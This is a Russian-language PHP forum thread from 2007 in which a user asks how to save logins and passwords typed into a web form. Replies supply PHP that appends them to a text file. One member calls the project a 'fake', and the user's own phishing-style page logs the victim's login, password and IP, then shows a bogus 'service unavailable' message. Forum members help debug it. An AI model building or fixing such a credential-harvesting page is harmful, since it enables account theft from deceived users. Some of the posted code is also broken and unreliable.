Сохранение данных в файл

Discussion in 'PHP' started by saiman, 14 Mar 2007.

Thread Status:
Not open for further replies.
  1. saiman

    saiman Banned

    Joined:
    2 Dec 2005
    Messages:
    63
    Likes Received:
    5
    Reputations:
    -28
    Какой скрипт нужен для того, что бы при вводе loga и passa они сохранялись. И как их потом прасмотреть?
     
  2. InferNo23

    InferNo23 Elder - Старейшина

    Joined:
    5 Sep 2006
    Messages:
    183
    Likes Received:
    126
    Reputations:
    42
    у тебя форма для ввода логина/пасса ?

    PHP:
    <html>
    <form method="post">
    Login:<input type="text" name="login">
    Pass:<input type="password" name="pass">
    </form>
    <?php
    if(isset($_POST["login"]) && isset($_POST["pass"])){
    $z fopen("data.txt""a");
    fwrite($z'Login: '.$_POST["login"]."\n");
    fwrite($z'Pass: '.$_POST["pass"]."\n\n");
    fclose($z);
    }
    ?>
    </html>
     
  3. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,194
    Reputations:
    252
    А вам взрослые не говорили что одинарные кавычки быстрее для работы скрипта, чем двойные :)

    Ps: Вечером напишу статью "Все о .htaccess" =)
     
    #3 banned, 14 Mar 2007
    Last edited: 14 Mar 2007
  4. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,118
    Reputations:
    1,139
    никто не любит правильно называть темы? буду стабильно ставить за это минусы..
     
  5. Sn@k3

    Sn@k3 Elder - Старейшина

    Joined:
    13 Apr 2006
    Messages:
    1,000
    Likes Received:
    437
    Reputations:
    90
    чувак юзай поиск, статья уже была на форуме
     
  6. saiman

    saiman Banned

    Joined:
    2 Dec 2005
    Messages:
    63
    Likes Received:
    5
    Reputations:
    -28
    А где просмотреть зарегиный log и pass?
     
  7. n1†R0x

    n1†R0x Elder - Старейшина

    Joined:
    20 Jan 2007
    Messages:
    728
    Likes Received:
    376
    Reputations:
    235
    omg
     
    2 people like this.
  8. saiman

    saiman Banned

    Joined:
    2 Dec 2005
    Messages:
    63
    Likes Received:
    5
    Reputations:
    -28
    Какую ссылку нужну лепить, что бы при нажатии зарегиться всё это сохранялось в $z = fopen("data.txt", "a");
     
  9. Abra

    Abra Member

    Joined:
    17 Sep 2005
    Messages:
    278
    Likes Received:
    51
    Reputations:
    29
    какая ссылка ты о чем? у тебя есть форма, в которую вводят данные, которые потом отсылаются на твой скрипт.
    Ты не знаешь что такое форма, или параметр action? Тогда тебе надо html учить а не фейки делать, имхо.
     
  10. saiman

    saiman Banned

    Joined:
    2 Dec 2005
    Messages:
    63
    Likes Received:
    5
    Reputations:
    -28
    Че такое форма я знаю! Но как потом отослать данные на скрипт?
     
  11. Abra

    Abra Member

    Joined:
    17 Sep 2005
    Messages:
    278
    Likes Received:
    51
    Reputations:
    29
    <form action="www.твойсайт.ру/скрипт.php">
    http://www.google.com/search?hl=en&q=учебник HTML&btnG=Google+Search
     
  12. Fr-Ron

    Fr-Ron Elder - Старейшина

    Joined:
    10 Sep 2006
    Messages:
    184
    Likes Received:
    72
    Reputations:
    13
    Хм хм...


    1) Чтобы получить из формы переменные

    PHP:
    <form method = post action = [script name]>
    <input type="text" name="login">
    <input type="text" name="pass">
    </form>

    <?php
    $login 
    $HTTP_POST_VARS['login'];
    $pass $HTTP_POST_VARS['pass'];
    ?>
    Ну а дальше разберешься ;)
     
    #12 Fr-Ron, 14 Mar 2007
    Last edited: 15 Mar 2007
  13. MegaDeth

    MegaDeth Elder - Старейшина

    Joined:
    8 Nov 2006
    Messages:
    192
    Likes Received:
    71
    Reputations:
    13
    saiman, ты наверное имеешь ввиду отправка данных ГЕТом? тогда script.php?login=Vaysa&pass=pupkin007
    и соотв. в скрипте бери данные не из массива $_POST a $_GET
    PHP:
    $_GET["login"]
    если ты знаешь что такое форма то ты должен знать и предназначение, хм, как отослать?
    PHP:
    <input type=Submit value="Send">
    можеш и сам отослать запрос а не браузером, ну это обьяснять небуду учи протокол HTTP
     
  14. saiman

    saiman Banned

    Joined:
    2 Dec 2005
    Messages:
    63
    Likes Received:
    5
    Reputations:
    -28
    Ещё вапрос.
    PHP:
    <form [COLOR=DarkRed]method = post[/COLOR] action = [script name]> 
    <input type="text" name="[COLOR=DarkRed]login[/COLOR]"> 
    <input type="text" name="[COLOR=DarkRed]pass[/COLOR]"> 
    </form> 

    <?php 
    $login 
    $HTTP_POST_VARS['[COLOR=DarkRed]login[/COLOR]']; 
    $pass $HTTP_POST_VARS['[COLOR=DarkRed]pass[/COLOR]']; 
    ?>
    Там где script name пишем дапустим sax, затем <form action="www.твойсайт.ру/sax.php"> Я правильно понял?
     
    #14 saiman, 15 Mar 2007
    Last edited by a moderator: 15 Mar 2007
  15. blaga

    blaga Elder - Старейшина

    Joined:
    23 Mar 2006
    Messages:
    884
    Likes Received:
    273
    Reputations:
    106
    если все это в одном фале то action = [script name] можно не писать.

    ПОЛЬЗУЙСЯ КНОПКОЙ "КОД"!!!
     
  16. r0

    r0 Elder - Старейшина

    Joined:
    17 Jul 2005
    Messages:
    450
    Likes Received:
    149
    Reputations:
    147
    Выбирайте относительные пути для action.
    И сделайте ликбез по HTTP протоколу.
     
    1 person likes this.
  17. MegaDeth

    MegaDeth Elder - Старейшина

    Joined:
    8 Nov 2006
    Messages:
    192
    Likes Received:
    71
    Reputations:
    13
    http://slil.ru/24085880 доки по ХТТП
     
  18. DRON-ANARCHY

    DRON-ANARCHY Отец порядка

    Joined:
    4 Mar 2005
    Messages:
    716
    Likes Received:
    142
    Reputations:
    50
    добавить <input type='submit'>
     
    #18 DRON-ANARCHY, 15 Mar 2007
    Last edited: 15 Mar 2007
    1 person likes this.
  19. saiman

    saiman Banned

    Joined:
    2 Dec 2005
    Messages:
    63
    Likes Received:
    5
    Reputations:
    -28
    У меня две страницы http://мой сайт.ru/sa.html

    <html>
    <head>
    <title>Untitled</title>
    </head>
    <body>
    <form action=saver.php method=post>
    Login: <input type="Text" name="login" value=""><br>
    Password: <input type="pass" name="pass" value="">
    <input name=log.txt type=hidden value=a>
    <input type="Submit" value="Проверить">
    <?
    $1=login;
    $2=pass;
    $ip=getenv("Remote_addr");
    $fp=fopen("log.txt", "a");
    fputs($fp, "$1\t|$2\t|$ip\n");
    echo "Извините, но сервис временно не доступен!";
    ?>


    </body>
    </html>

    и http://мой сайт.ru/saver.php

    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

    <html>
    <head>
    <title>Untitled</title>
    </head>
    <body>
    <?
    $1=login;
    $2=pass;
    $ip=getenv("Remote_addr");
    $fp=fopen("log.txt", "a");
    fputs($fp, "$1\t|$2\t|$ip\n");
    <input name=log.txt type=hidden value=a>
    echo "Извините, но сервис временно не доступен!";
    ?>


    </body>
    </html>

    Почему log и pass не сохраняются в log.txt че я нетак сделал и как исправить?
     
  20. Abra

    Abra Member

    Joined:
    17 Sep 2005
    Messages:
    278
    Likes Received:
    51
    Reputations:
    29
    наверное потому что переменная не может начинаться с цифры.
     
Thread Status:
Not open for further replies.